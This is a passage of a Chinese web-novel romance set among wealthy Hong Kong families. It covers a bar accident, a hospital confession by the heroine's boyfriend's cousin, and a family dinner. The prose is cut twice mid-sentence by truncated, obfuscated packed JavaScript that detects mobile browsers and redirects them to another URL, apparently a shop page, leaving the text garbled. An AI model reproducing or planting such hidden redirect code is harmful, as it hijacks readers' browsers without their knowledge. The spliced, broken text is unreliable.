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三人之中也就她酒量好点,小初和林佳宜醉得整个人都快飘去月球了,空气里播放的是某首很火的K-POP歌曲,尽管不是什么午夜蹦迪场,还是好多人跟着节奏开始律动,气氛一下子嗨了起来。 小初站起身,又大大喝了口酒,“什么挡桃花,挡的明明都是歪瓜裂枣。”又说,“这首歌我会唱。” 说完就一边唱一边也跟着音乐律动起来,连她自己都想起了那天在影音室的余萧泽,不难想象此刻的她该有多醒目,于是她灿笑出声。 她们这边离人群中心还有点距离,眼角余光貌似确实有人在看她,不过她也没有太在意,仍旧一边发挥一边拉起了林佳宜的手,大声喊到:“佳宜姐,告诉我,你今天为什么不开心?” 林佳宜跟着她站起身,随着节奏摇摇头,“谁说的,我明明快开心死了。” “你别骗我!” “真的!” “那又为什么开心?” “为了迎接新生活!你先告诉我,到底怎么才能掌握这么一流的投胎技术,我下辈子好用!” 小初大笑,一边扭动着腰肢一边妩媚地送了她一个Wink,“但做好事莫问前程!” 林佳宜被她逗得眼泪都快下来了,一个没站稳就朝地上跌下去,曹旸赶紧去扶,小初想去抓又没抓住,连带着自己重心一偏也向一旁栽去。 Wendy大喊了一声“小心”,可从座位上起身还是慢了半拍,幸而不知何人适时地扶住了她的腰,不然就凭今天这条离膝盖还有很长一段距离的小短裙,她不知道会狼狈成什么样。 正要转眸说声谢谢,曹旸锐利的眼神已经递了过来,大概从她的视角这一刻的某人更像个趁乱揩油的登徒子,总之,在小初反应过来发生什么事之前,她已经双手扶着桌角一脚朝那人踹了过去,周围顿时传来一阵不绝于耳的尖叫声。 等小初回过头去,那人已经倒在了地上,小臂在摔下去的过程中大概刚好划到了隔断上的三角铁,一条触目惊心的伤口正在汩汩冒血,她吓坏了,双腿突然跟灌了铅似的,竟一动都动弹不得了。 那人的朋友很快将他扶起,大声问着:“Jeo!你怎么样!” 这个名字怎么这么熟悉? 小初瞪大眼,下一秒,已经对上那双深不见底的眼眸,对方明明在流血,语气却仍漫不经心的,“方小姐,好久不见。” 她的酒顿时醒了大半。 余珺彦。 63.第 63 章 小初从没想到她某天会大半夜陪着个陌生男人来医院包扎伤口。 曹旸也意识到自己给她添了麻烦,一直在道歉,说她当时没想那么多,更没想到他会受伤。 小初点点头,站在午夜的医院走廊里默默无语,事已至此,多说无益。 里面医生正在给余珺彦缝针。 谁能想到,她只是和闺蜜出去简单小酌两杯就能碰上这么倒霉的事,更倒霉的是那人竟然会是他,她压根儿不想有一点交集的人。 看来只能怪港岛太小,出个门天上掉下来一坨鸟屎,都能姓余。 她打算回北京就去雍和宫烧烧香。 余珺彦的那个朋友就坐在她对面的长椅上,看她跟乌眼鸡似的,很明显,他很不爽。 刚刚在车上两人就已经有过争执,小初冷笑,猜着他是因为没吵赢她在这复盘呢。 她也复盘了一下,感觉自己发挥得也没有多好,不禁有些懊恼。 他刚第一句问她的是:“你知不知道Jeo下个月要订婚?下手这么重你故意的吧?” 小初回:“下个月都要订婚了还跑到这种地方来玩,是他自己故意的吧?” 男人似是没想到她这么伶牙俐齿,先是愣了一下,才说道:“小姐,我们只是出来喝点东西,这是什么正常人不能来的地方吗?” 小初说:“你们喝东西就喝东西,往我身边凑什么?” “那还不是因为看见你要摔倒,Jeo出于绅士风度才顺手扶了你一把吗?” “颠倒黑白是吧?我明明和我朋友玩得好好的,腰间却不知道怎么突然出现一只手,我就算要摔倒,也是被你们吓得。” 男人彻底呆住。 半晌才说道:“方小姐你好放肆啊,原以为Theo眼光是有多好,看来也不过如此。” 他不提余萧弋也就算了,越提小初就越觉得这事令人厌烦,索性放肆到底了,“原以为他们余家的教养有多好,看来也不过是些道貌岸然趁人之危的伪君子。” “Jeo,你说句话啊。”男人看向一旁的余珺彦。 曹旸开的是商务车,那会儿朱慧雯正坐在副驾充当人工导航,而她和林佳宜则和这二位相对坐着,因为理亏,她还很贴心让他们坐了正位,林佳宜出于医德还帮余珺彦按着手臂上的伤口,早知道,她就不那么贴心了。 那个伤口应该挺疼的,但余珺彦的表情却始终淡淡的,甚至还饶有兴致地靠在车窗上做起了旁观者,一直在认真听他们吵架。 那男人喊了他好几声,他都没回应。 最后还是林佳宜看不下去,手上力道突然加重,余珺彦才蹙着眉一副如梦初醒的模样,“什么?” “这位方小姐,简直一点愧疚之心没有。” 余珺彦笑,“没有就没有吧,这件事本来就是个意外。” 小初没想到他这么大度,语气也软了下来,“谁说我没有愧疚之心的?刚不是一直在跟你们道歉吗?还要我怎样?再说,你也是的。” 她看向余珺彦,还是有些郁闷,“你余大公子出门都不带个有用的、能保护你的人吗?就算不带,你这么大一个男的,还能被一个弱女子轻轻一碰就倒了,是不是也太没用了点。你看你给我惹多大一个麻烦,本来这个时间我都已经回去睡觉了。” 余珺彦点点头:“听着确实像是我的错。” 坐在副驾驶的朱慧雯没忍住,直接笑出声来。 虽然她什么都没说,小初还是明白了她的意思——什么弱女子,什么轻轻一碰,你刚不还夸她帅,是什么全国武术冠军吗? 余珺彦的朋友快要气疯了。 小初没理他,而是转眸看了看余珺彦白色衬衫上的刺目血迹,实话实说,她心底还是非常难受和愧疚的,但很多东西她没法认,一旦认了,事情就会变得很微妙。 主要他们余家内部的关系也复杂,她又是余萧弋的女朋友,万一……余珺彦以她为名推迟订婚日期,这件事要她怎么交代? 思绪正飘着,手术室的灯灭了。 余珺彦手臂包着纱布走了出来,除了面色有些苍白,别的看着倒还好。 他朋友马上围上去,“Jeo,你怎么样?” 他勾勾唇,“没什么事,缝了7针。” 小初没太敢看他。 余珺彦又说:“这件事不许声张,任何人都不能说。” 他朋友一噎,没说话。 小初倒有些怔愣。 余珺彦交代完这才转向小初,“方小姐,我能跟你单独聊两句吗?” 小初睫毛颤了颤,总觉得哪里不太对,但此事毕竟因她而起,该承担的责任她还是不会逃避的。 两人移步到无人的楼梯折角处。 还未等小初开口,余珺彦就先行说道:“请方小姐放心,这件事除了我不会有任何一个姓余的知道,传媒上也不会出现关于此事的任何讯息,至于Theo那边,是否向他告知,你自己考虑。” 他,什么意思? 小初抬眸,深深看了他一眼。 “我说了,今天这事只是个意外,既然是意外,说多错多,反而不如低调处理。你说呢,方小姐?更何况……我们之间的立场还这么尴尬。” 他说话的时候,很多画面不断在小初眼前重合又散开着。记者镜头下滴水不漏的他,余家的茶室里细心帮她添茶倒水的他,山顶的浓雾中帮她点亮兔子灯的他,以及,刚刚混乱的酒吧里衬衫染血的他。 到底哪个,才是真的? “你说得很对。”小初思考了一下,“不过我想我们之间并不存在什么尴尬的立场。” 余珺彦轻笑一声,“是吗?” 未等她答,他又继续说道:“不幸中的万幸,我的订婚日期定的是下个月,一个月的时间,足够这个伤口恢复了。” 小初抿抿唇,“实在对不起,我也没想到事情会发展成这样。你的医药费我来负责,至于其他,你还有什么要求,可以一并提,能做的,我也一定做到,另外还要谢谢你的格局,不然……” ——若是让我爸妈知道我闯了这么大的祸,肯定操心死了,说不定明天就要飞过来收拾我。 她没有继续说下去。 因为她不想在这个人面前暴露她太多软肋。 余珺彦虚弱地笑笑,“医药费就不必了,其他的要求也没有……你要知道,方小姐,从小到大,我都不是一个有资格提要求的人。” 嗯? 小初的思维蓦地乱了一下。 如果没听错,他这是在跟她袒露心事?什么情况啊?他们又不熟,说得着这些吗? 要是平时,她肯定要头也不回走掉的,可此刻,她问心有愧,就算再艰难,也只能硬着头皮听两句了。 “Theo没跟你说过我的情况吗?” 小初摇摇头:“我们之间从来不谈论别人,Theo也不是一个喜欢讲是非的人,除此之外我觉得,很多东西还是踏踏实实压在自己心底比较好,毕竟这世上,除了自己,就没有更可靠的人,倾诉欲最后都会变成回旋镖,我劝余先生你,慎言。” 余珺彦的瞳孔微不可察地收缩了一下,像是看一个陌生人一样又仔细看了她几眼:“方小姐你防备心向来这么重吗?” 小初笑:“我猜你的防备心也不会少于我。” 余珺彦挑了挑眉,“何以见得?” “你自己说的啊,从小到大你都不是一个有资格提要求的人,我且不管这件事是不是真的,但是按照你的语言逻辑,你能这么想,就说明你很可能是那种活得很小心的人,这样的人,防备心怎么不会不重呢?” 余珺彦讶然半晌,而后佩服地点了点头,“方小姐你果然聪明。” 小初摆摆手:“你太客气了。”她看看表,“时间也不早了,你赶紧回去休息吧,有什么事打电话给我,我一会儿把我电话留给你。” 余珺彦却没动,反而自顾自说下去:“我的亲生母亲是舞女出身,我爷爷奶奶对她嫌弃至极,不肯我父亲娶她,自然,我父亲本来也没想娶。他们在我出生之前谈好了什么条件我不知道,但自从我记事起,就从来没有见过我母亲,她就像在这个世界上彻底消失了一样。” 小初惊恐至极,她是真的一点都不想听别人的秘密啊! “余先生你慎言!” 余珺彦却不停,继续说道:“我身边所有人,包括Theo,都说我爷爷奶奶最疼的人就是我,但最后他们却选择成全他牺牲我,让我娶一个我厌恶至极的女人,你觉得,这算爱吗?” 小初有些不懂,“不是说杨小姐是你的初恋吗?” “初恋?”余珺彦冷笑,“你不知道资本家是可以随便编故事骗公众的吗?你觉得我会跟一个曾经公开侮辱我母亲是舞女的女人谈恋爱吗?” 小初怔住。 半晌,她才喃喃道:“我不太明白,你跟我说这些,到底是什么意思。” 余珺彦笑:“没什么,只是像你说的,大概夜深了,人就容易产生倾诉欲吧。还有一点我是想请你放心,虽然我的人生是任人摆布的,但作为堂哥,我羡慕也愿意祝福你和Theo有情人终成眷属。所以你放心,今天这件事,我绝对不会说出去,为了我自己,也为你们。时间不早了,我就先回了。你的电话我就不留了,这是我名片,你有事倒是可以打给我。” 他把卡片的一角轻轻别在她夹克衫胸前的口袋里,“方小姐,再见。” 小初不敢相信自己听到了什么,直至他的脚步声从楼梯间消失,她才恍然梦醒,等她回到医院走廊,那边就只剩下了曹旸和林佳宜以及朱慧雯。 “余大公子走了?” “走了。”朱慧雯慧黠地看她一眼:“你们都说什么了,回来的时候我看他脸色比刚从手术室里出来时候好多了。” “你胡说什么。”小初瞪她一眼,“Wendy,我拿你当朋友,所以我劝你,在这件事上,你给我管好你的嘴巴,别耍小聪明,也别趟这趟浑水。” 朱慧雯愣了愣,脸色讪讪的,“你放心!我这种人比你想象的要聪明一百倍!就算我没把你当朋友,我也很知道该怎么保护我自己!” 小初听她这么说,也觉得自己说话语气太硬了,缓和道:“你不必应激,你知道我为人,我不是那个意思。” 林佳宜劝道:“都少说两句。” 朱慧雯继续说:“别怪我多嘴,余大公子刚刚在车上根本就没听你说什么,他已经沉迷于你的美貌不可自拔了,你小心点,别到最后伤人伤己。但这事也不能怪他,连我每次看你张牙舞爪说一些看似很嚣张的话的时候,都忍不住一直盯着你的脸,只觉得你天真又可爱,你觉得身为男人的他会怎么样?你到底知不知道你的美貌和个性对别人有着怎样致命的侵略性啊?” “……”小初一脸问号,“什么天真,就是说我傻呗!” “是说你的灵魂很干净的意思!算了跟你说你也不懂。”朱慧雯裹了裹衣服,话尽于此:“我和林佳宜得回去了,能不能请曹小姐开车送一下我们?” 小初回去翻来覆去了大半夜,也没睡着。 脑子里的思绪一整个乱成了一团麻,任她怎么理也没理清。 但她最终还是没有选择把这件事告诉余萧弋,她打算先观察一下余珺彦的动向再说。 接下来的一个多星期,风平浪静。 小初终于长舒了口气。她本没有寄希望于余珺彦会是个守诺的人,他那天说的话,她更是一个字都不相信,坦白说,这个结果着实让她有点意外。 这么一来,她倒不自觉时不时总想起他的伤势。缝了7针,那说明伤口至少一寸长,她不是个喜欢欠别人情的人,对方越不让她还,她越寝食难安,一股说不清道不明的情绪不上不下,堵得她难受。 她突然发现她爸是个极智慧的人,如他所说,资本家一旦生出了良心,这辈子定会活得很痛苦,而她还没成为资本家,就已经开始被良心折磨,这该怎么办呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642056|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 某天和余萧弋一起抱港港去洗澡剪毛,两人在外面的咖啡厅边喝边等,鬼使神差的,她不知怎么就提起了余珺彦,问他:“所以,你堂哥的婚事就这样定下来了?” 余萧弋抬眸看了她一眼:“你怎么突然关心起他的事来了?” “不是关心。”小初第一次在他面前心虚,勉强笑笑,“是好奇。” 他喂了一大口蛋糕到她嘴里,眨眼,“不许你好奇。” 小初猝不及防,半晌才将那口蛋糕吞下去,又灌了半杯柠檬水才缓过来,然后开口第一句话就是:“为什么啊?你为什么这么讨厌他?” 她记得很清楚,她第一次问他,“余珺彦帅吗”,他的回答就是,“不帅。” 那种感觉就挺微妙的。 虽然她和黄予安也经常互相揭短,但任谁都能看出他们之间感情很好,他和他就完全没有让她产生那样的联想。 再有上次,她和余珺彦在院子里点兔子灯的时候,余萧弋那句话也很莫名其妙——“哥,这我女朋友。” 她甚至都不明白那个画面怎么会让他对她产生那么强烈的占有欲。 他们不是兄弟吗? 豪门再怎么不堪,也不至于因为一个女人兄弟阋墙吧,再说,那天她和余珺彦也就刚认识,加起来话都没说上十句。 “我讨厌他?”余萧弋的神情有些不可思议,“他不讨厌我就算不错了。” “他讨厌你?”小初更不懂了。 他们之间是存在点竞争关系,但余家家大业大,资产配置遍布全球,两人将来各自负责各自的产业,可能一年都没机会碰几次面,谈得上什么讨厌不讨厌? “你不知道,堂哥那个人城府极深,这些年,我就从来没有看透过他。但我唯一可以确定的就是,他从来没有喜欢过……余家的任何人。他厌恶这里。”余萧弋喝了一口咖啡,“我不让你对他好奇是因为,我不想身为太阳的你靠近黑洞,一不小心被他吞噬了全部光芒。” 她在他心里,竟是,太阳吗? 可是,听了他刚刚那番话,小初却不知怎么忽地出了一身冷汗,她赶紧双手捧起了桌面上的热咖啡。 “你怎么了?”余萧弋抚住他的手,“我是不是吓到你了。” “有点。”小初没有温度地勾了勾唇,“所以他妈妈真的是舞女出身吗?” 余萧弋的目光定在她脸上,琥珀色的瞳仁里写满了疑惑,“你怎么知道?” “忘了什么时候在网上刷到过。”这句也不算她撒谎,媒体的确用“港岛曾经风头无两的交际花”形容过她,“舞女”两个字,是余珺彦说的。 小初突然不敢细想他用如此直白和残忍的方式说出这两个字的时候,心里都在想什么。 “应该吧。我爸妈从来不在我们面前谈及这些。不过某一年,那女人上门过看过她儿子一次,也不知道她是怎么进的大门。那天余珺彦刚好不在,我当时大概六七岁吧,大中午不睡觉,非要去花园里玩,带我的佣人偷懒,在长廊下的椅上睡着了。等我发现那女人的时候,她似乎已经蹲在太阳底下看了我半晌了,因为我发现她额头上已经全是汗,整张脸都是红的,眼睛也很红。” 余萧弋回忆起往事,脸上浮现出一层淡淡的忧伤。 小初下意识捂住嘴巴,“天,那你当时一定吓坏了吧?” “没。你不知道,那女人长得极其漂亮,余珺彦多半都长得像她。她声音也很温柔,一直围着我跟我说话,陪我捉草丛里的蚂蚱。但只一会儿我就发现她不对劲了,因为……” 余萧弋艰难地顿了顿,“她说话有点颠三倒四的,眼神也直勾勾的,还一口一个儿子地喊我。我就跟她说,你不是我妈妈,我有自己的妈妈。然后她就崩溃了,后面事情闹得很大,我爷爷大发雷霆,辞退家里好多佣人。” 余萧弋的声音有些哽咽,“她疯了,记不清他的年龄,错把我当成了他。他们母子,从此错过了那唯一的一次可能见面相认的机会。” 小初的眼泪无声无息,她都不知道自己是什么时候开始哭的。 “她去哪了?人还在吗?” “我不知道。”余萧弋伸手,摸了摸她的头发,“我们能不聊他们了吗,去接港港好不好?” 小初点点头。 还有一个星期就是数学建模大赛的日子了,他们确实没办法一直让自己的情绪被别人的过往人生所牵扯。事关整个团队的荣誉,他们必须全力以赴。 三天后的黄昏时分,小初意外在教学楼门口瞥见了一抹熟悉的身影。 对方一见她,就春风满面地走了过来,“小方太初,我来接你下课啦。” “文然阿姨?”小初紧张得声音都抖了,“您,您怎么在这儿?发,发生什么事了吗?” 余萧弋一整天都没来学校,说是被家里派去哪个岛上做公益项目了。 萧文然亲热地拉起她的手,“今天立冬,家里打边炉,当然有你才有团圆的味道啊。”然后她又眨眨眼,“Theo待会也回来,他今天干了一整天的体力活,估计人已经累坏了。” 小初红了脸,但没接话。 这话,让她怎么接? 上次去他家吃饭的情景还历历在目呢,说实话,她对萧文然还是挺犯怵的,她给她留下的心理阴影实在不可磨灭,在不确定她心意之前,她怎么敢再贸然登门。 “上次是阿姨错了。”萧文然言语真诚,“阿姨没有阻止你和哥哥交往的意思,我和余叔叔都特别特别喜欢你,但我们和你爸妈是多年的好朋友,我实在是怕……Theo的莽撞把两家的关系搞僵,反正,我要是有你这么个仙女一样的女儿,我肯定不同意你和他在一起,那臭小子,他也配?” “他很好。”小初低声打断萧文然,连耳垂都红透了,“阿姨,我们俩没有谁配不配谁,哥哥他,是一个很好很好的人,他配这世上最好的一切。” 萧文然笑,眼角里隐有碎光,“好,我不说他。走啦,回家吃饭。” 64.第 64 章 小初看了眼不远处的曹旸,没动。 头顶的凤凰木叶子在她的眼底投下一片形状美丽的阴影,刚好遮住她不太想让人捕捉到的那一抹倔强。 她刚刚并没有直接承认或者否认她和余萧弋目前的关系,但凭着萧文然的处世智慧,她不信她听不懂她的弦外之音。 她不想去他们家。 Wendy说,她嚣张的样子最天真,可惜,她从来就没有给这个世界表演天真的耐心,是他们太容易被她这张脸迷惑。 她是方协文和黄亦玫倾尽资源和爱养长大的女儿,又长期在高专注和自律的状态中淬炼过,怎么可能不谙世事到他们想象的那个程度? 有时候,她的率真和直接,不过是她已经对很多事有了高度复杂的理解,只想做最简单的表达和沟通而已。 她不想长篇大论地和不相关的人浪费时间,也不想研究人心。更没必要,也没义务讨好全世界。 她对萧文然没意见。 她能理解她之前所有的顾虑和考量,更不要说她连“反对”两个字都说得那么委婉,已经尽量避免戳痛她的自尊心。 就像她也接受方协文说的,他和黄亦玫以及亦方,都不会给她的爱情站台。 既然如此,在大结局之前就保持这样的状态不是很好吗? 这段时间她也想通了,双方家长太早对他们这段感情乐见其成也未必是什么好事,不然哪天他们万一真分了手,伤心的人岂不是就从两个变成了六个? 反之,如果她和他都足够坚定,那他们反对还是支持又有什么重要呢? 算了吧。 她已经够累的了。 “阿姨,不好意思,我还有个很重要的小组作业要完成,今天晚上恐怕都要在自习室熬通宵了,我就不去了,等改天有空我再去看你和余叔叔。”小初弯起唇角,要多真诚有多真诚。 萧文然怔了一下。 而后才笑道:“小初,你在某些方面和你爸真像。” “啊?” “你应该知道吧?我和他之前在同一家公司共过事,只不过我比他早离职两年。那时候的互联网行业属深圳发展得最好,我几次向他抛出橄榄枝,都他被谢绝了。他是一个边界感极强且道德准则极高的人,现在想想也是好事,不然,就没有现在的亦方了。” 萧文然自然而然揽了揽小初的肩膀,笑得亲和,“可以陪阿姨在你们学校里走走吗?” 小初早说了,萧文然身上总是流露着一种很自然的说服力,她还没太反应过来怎么回事,就已经陪着她往前走了好几步了。 曹旸不远不近地跟在后面。 “阿姨你之前在上海生活过几年?” “哎呀,我算算啊。”萧文然伸手拂过挡路的树枝,“我本科毕业就来上海了,应该有个四五年吧。” “是吗!”小初惊讶极了,“那你跟上海也算很有渊源了。” 萧文然想起遥远的往事,表情越发柔和,“是呀。没跟你说,你妈妈生你的时候住的那个小阁楼我还去过呢。” 小初感慨,“我听说他们在那里住了好多年,可我只在照片里见过那里的样子,因为我记事的时候,我们家早搬了。” 萧文然笑:“你就是你爸奋斗的动力嘛,你要是记事了还住在哪里,他还不心疼死了。” “那里是不是很差?我听我舅舅说,他去了腰都不敢直,生怕顶到天花板。” “那他大概是跟你开玩笑呢。”萧文然回忆了一下那个老旧电线缠绕的天井,“不差,那时候都是那个条件。我们赶上的是经济上行期,楼市也还没有涨到后来那么离谱,所以大家还都挺乐观的,不像你们这一代,大环境这么卷,工作又不好找,焦虑跟传染病似的,每个人或多或少都得沾点。” 小初被逗笑,然后又控制不住对她心生佩服。 她真没想到以她如今的财富和社会地位,讲话还能这么平实有趣,贴近生活。 “我猜,你爸妈在小阁楼那几年应该过得挺快乐的。上海的小弄堂,多有故事感和情调的地方。” 小初抿抿唇,“那里后来被改成咖啡馆了,我后来还去过。那边墙上还有我妈年轻时候照片呢。” “是吗?嗐,听你这么一说,我都有点伤感了,一眨眼,我们这代人都老了,以后世界是你们的了。” 两人不知不觉已经走到了出入口附近。 萧文然想起什么,拍了拍手:“我突然想起件事来,你三四岁的时候,有次我带Theo去上海,还跟你和你妈妈一块吃了顿饭呢,所以你们那时候就已经见过面了。只不过后来大家越来越忙,隔得又远,渐渐的,也就联系得没那么紧密了。” 小初心中一动,“我和Theo前两天在北京看到我们小时候的合影了。” 说完她才意识到哪里不对,忽地一下红了脸。 萧文然停下来,笑着牵过她的手,“我也看见了。” “什么?” “你和他在机场的照片。” 小初垂下眼睫,视线落在路边一朵小花上,半点不敢抬头,也不敢说话了。 “谢谢你啊小初,我很开心在这个世上除了我和他爸爸,还有人对他如此真心。” 小初的声音低不可闻,“因为,他也很好啊。” “他好,也得有人愿意停下来欣赏,能欣赏到他的特别之处。否则,他也就一平平常常的刻板又无趣的理科男,谁会注意到他。” 这话……说得也太谦虚了。 小初想了想余萧弋那张很有迷惑性的脸,微不可察地撇了撇嘴。 萧文然歪头看她,“你是不是还生阿姨的气呢?气我上次说那些莫名其妙的话?” “我没有!”小初忽地抬起头来。 “那我前两天跟Theo说让他带你回来吃饭,他百般推脱。” “是,是因为我们都忙。” “是吗?”萧文然的语气像在逗一个小朋友,“我怎么感觉他是在怕我欺负你。” “怎么可能!”小初感觉自己快碎了,“您这么亲和,对我这么好。” “我不信,除非你愿意跟我回家吃饭。” “……” 小初咬了咬唇。 总感觉自己中了什么圈套,而且这圈套还似曾相识的。 像是出自同一张配方。 萧文然笑着回头跟曹旸挥了挥手,“小方太初带走了,你不用跟着,回头我会把她送回来。方协文和黄亦玫要是问,你就说,是一个姓萧的女人把她带走的,我自己跟他们交代。” 曹旸踌躇了一下,看见小初朝她点点头,她才停下脚步。 车子盘旋至山顶的路是那么熟悉,小初的心境和第一次来的时候完全不同了。 她在车上给余萧弋发消息:【我跟文然阿姨来你们家吃饭了。】 发完过了好久,他电话才进来。 小初差点被周柏豪那个一直不断重复的I love you搞到自闭,一阵手忙脚乱才点开接听。 谁知电话接通后她听到的第一句话就是,“我还有半个多小时也到家了,你把电话给我妈。” 小初就坐在萧文然身边,她怀疑她根本直接就能听见他那边的声音,“干嘛嘛。”她快疯了,“有话待会说呗。” 他立刻会意:“不好意思了?好吧,我直接打给她。” “没有。”小初咬牙,挂了她的再重新打一下不是更奇怪? 她把电话递给萧文然,“阿姨,Theo跟你说话。” 萧文然从善如流地接过去,“喂?” 然后全程她就说了一个字,剩下的三分钟就几乎都是对面在说。 挂掉电话之后,小初实在没忍住,问她那边都讲什么了,讲这么多。 萧文然大笑,“他给我列了个list,上面都是你喜欢或者不喜欢吃的东西。” “……”小初赶紧澄清,“阿姨我什么都吃的,我真不挑食。” 他好烦啊。 小初和萧文然进门的时候,刚好赶上余萧泽的家庭教师从家里离开。 余萧泽本来还一副半死不活的模样,一见她,立刻震惊地瞪大了眼,“姐姐?你怎么来了?来之前怎么也不跟我说一声,我好准备准备啊!” 萧文然无语:“你准备什么,跟你有什么关系!” 余萧泽哼一声,“哦,是我忘了,她现在是大哥的女朋友了,就算来也不是看我的。” 余韬韬也迎了上来,“小方太初,我们又见面了,欢迎你。” 小初赶紧问好。 一行人移步到客厅。不用吩咐,已经有佣人把茶水和现切的果盘送了过来。 萧文然说:“小初你先喝点水吃点水果,一会儿等Theo回来我们就吃饭。” 小初说好,然后才问,“怎么没看见妹妹?” “她还没下课。”萧文然看了看表,“还有二十分钟。” 小初有些诧异,“香港补课也这么严重吗?” 余萧泽接过话去,“你坐地铁没看见机构的宣传广告吗?把老师们拍得跟爱豆似的。” “啊?”小初回忆了一下,“那不是爱豆吗?” “姐姐,本地的爱豆没有那么好看。” 大家都被他逗笑。 萧文然笑骂,“每天就知道搞这些有的没的。今天课上的怎么样?” “不怎么样,这老师水平不太行,他讲的课我都听不懂。” “那是老师的问题吗!” “肯定啊。”余萧泽眨眨眼,“不然你让姐姐给我讲两道题,我肯定能听懂,她不是数学系的吗?” 萧文然还没说话,小初赶紧摆手,“我学的那个数学,跟你学的这个数学,已经不是一个维度了。” “所以你连高中数学题都不会?” “……”小初咬了一颗葡萄,开玩笑道,“主要我怕我忍不住揍你,好容易来家里吃顿饭,饭还没吃,就被你气饱了。” 余韬韬大笑,“那你快给他讲讲,替我们揍他一顿,香港不让家长打孩子,我们已经忍他很久了。” 小初说:“叔叔我是认真的。” 余韬韬说:“我也是!” 萧文然也笑:“快,把你什么不会的题拿出来给姐姐看看。” 余萧泽眨眨眼,“那姐姐跟我来。” 小初站起身,警告地看了他一眼,“那咱们说好了啊,我打你你不能哭。” 两人来到书房。 一刻钟后,小初的声音似是已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“余萧泽。”小初眸子冷下来,数据线直接照着他手臂抽下去,“你再胡说一句试试!” “啊!”余萧泽一声大叫。 “我才不要笨蛋。”小初又是一数据线,“连这么简单的数学题听三遍都不会!” “姐姐!”余萧泽一边喊一边撒娇,“你拿别人擅长的东西比我不擅长的东西,这对我公平吗?” 还在胡说。 小初正思考着要不要直接把他打死,门忽地被谁从外面推开了,然后,身上还穿着爱心T恤看着确实已经累坏了的余萧弋就出现在了二人面前,“你们俩干嘛呢?” “Theo,你回来了?”小初拿数据线指了指余萧泽,“我给仔仔讲讲数学题。” 余萧泽则笑嘻嘻的,也不顾手臂上清晰可见的两条红痕,“姐姐喜欢我才打我的。” 余萧弋说:“你把数据线给我Babe,我也好好喜欢一下他。” Babe…… 小初和余萧泽都沉默了一下,大白天的,他有必要说得这么暧昧吗? 偏赶上余萧盈这会儿也下了课,她一听说小初来了,都没跟老师说再见就冲进了小书房,进门第一句话就是,“大嫂,你怎么时候来的!” “……” 小初手里的数据线紧了又紧。 这都一家什么人啊?她现在撤还来得及吗? 一顿饭吃得气氛很融洽,打边炉本就是件很热气腾腾的事,小初脸上的红就从始至终没褪下来过,主要…… 余萧弋可不是上次得不到回应就摔酒杯的余萧弋了,他今天简直恨不得化身她的人形挂件,一直贴在她身上,或是化身她的专属贵宾级别侍应,全程贴心服务,她感觉要不是有他家人在,他就要直接喂她吃了。 要不要这么夸张? “够了。”小初一边笑着听萧文然和余韬韬说话,一边用眼神警告他——别离我这么近! “什么?”余萧弋似是不明所以,眼神还有些委屈。 似是在说——宝贝我表现得哪里不好吗? “姐姐在说,你好烦!”余萧泽接话过去。 余萧盈也幸灾乐祸,“对,大嫂的意思是,哥你的体贴有点太超过了。” 小初忽地起了身,晚一步都怕自己直接石化在原地,“我去趟洗手间。” 吃了饭,一家人又一块坐在客厅聊了会儿天。余萧泽提议几人一块到影音室去唱歌,那三个字直接刺中小初的敏感神经,慌得她差点把热茶晃到手上。 电视里适时传来爆炸性新闻,瞬间吸引了所有人目光。 前地产大亨郭永仁,跳楼自杀了。 主持人只说了一句话,萧文然就失手把水果刀掉在了茶几上,发出一声巨大的令人心惊的响声。 余韬韬也一副惊魂未定的模样,“老郭?怎么会!” 郭永仁? 这名字怎么这么熟悉? 余萧弋神情凝重地凑过来,在小初耳边低声提醒,“堂哥之前谈了好多年的女朋友,就是郭家的女儿。” 小初恍然。 余珺彦的前女友郭羡如,正是余蓁蓁闺中密友胡令仪的继女,而胡令仪的现任老公,正是地产大亨郭永仁。 65.第 65 章 一家人静静看完了一整条新闻。 小初没太关注过港圈资本,却也略知郭永仁曾是两岸三地炙手可热的巨鳄之一。 但随着地产行业的衰败凋敝以及经济周期的调整波动,很多被公众熟知的大人物,都从富豪榜上消失了。 余韬韬感慨,“老郭就是前些年步子迈得太大了,到处囤地,高杠杆开发,又不懂分散投资降低风险,这种模式下资金链一旦断裂就很危险了。” 萧文然也说:“估计他到最后都没明白,他以为的个人能力,不过是因为他误打误撞遇到了系统性机会而已。真要说,个人在时代的洪流中算什么?” 余韬韬叹息:“早两个月,我就听说他躲在家里连电话都不敢听了。按照这个形势分析,恐怕他自己都不知道郭氏企业到底欠银行和投资者多少钱了。不过即便如此也不至于走这一步啊,大不了就宣布破产把一切打包还给银行好了,这么多年,他难道一点后路都没给自己留吗?” 萧文然说:“但愿他已做好安排,不然郭太和羡如她们接下来的日子要难过了。” 余韬韬这才回过神来,“所以,前段时间突然出现在传媒上说Jeo要和羡如完婚的消息是郭家故意放出来的?想利用舆论逼迫余家救市?说起来……两个孩子到底那么多年的感情,也确实到了谈婚论嫁的年纪。只是,给Jeo娶个亲容易,这个火坑,谁敢陪着他们跳下去?” 然后又惊觉:“所以Jeo和羡如就是因为这件事产生隔阂分的手?” 萧文然翻看着手机里的消息,“我只怕老郭这么一死,Jeo会因此被舆论骂死,连带着余家的名声也要受损。” 余韬韬冷哼:“要怪就怪老爷子,非这么快给Jeo订婚干什么?” 小初没想到他们当着她这个外人什么都说,只能求助似的看了看余萧弋。 两人视线碰撞的瞬间,他就明白了她想说什么,开口道,“爸,妈,如果没什么事,我和方太初就……” 可他话还没说完,萧文然的电话就进来了,他只能暂时噤声。 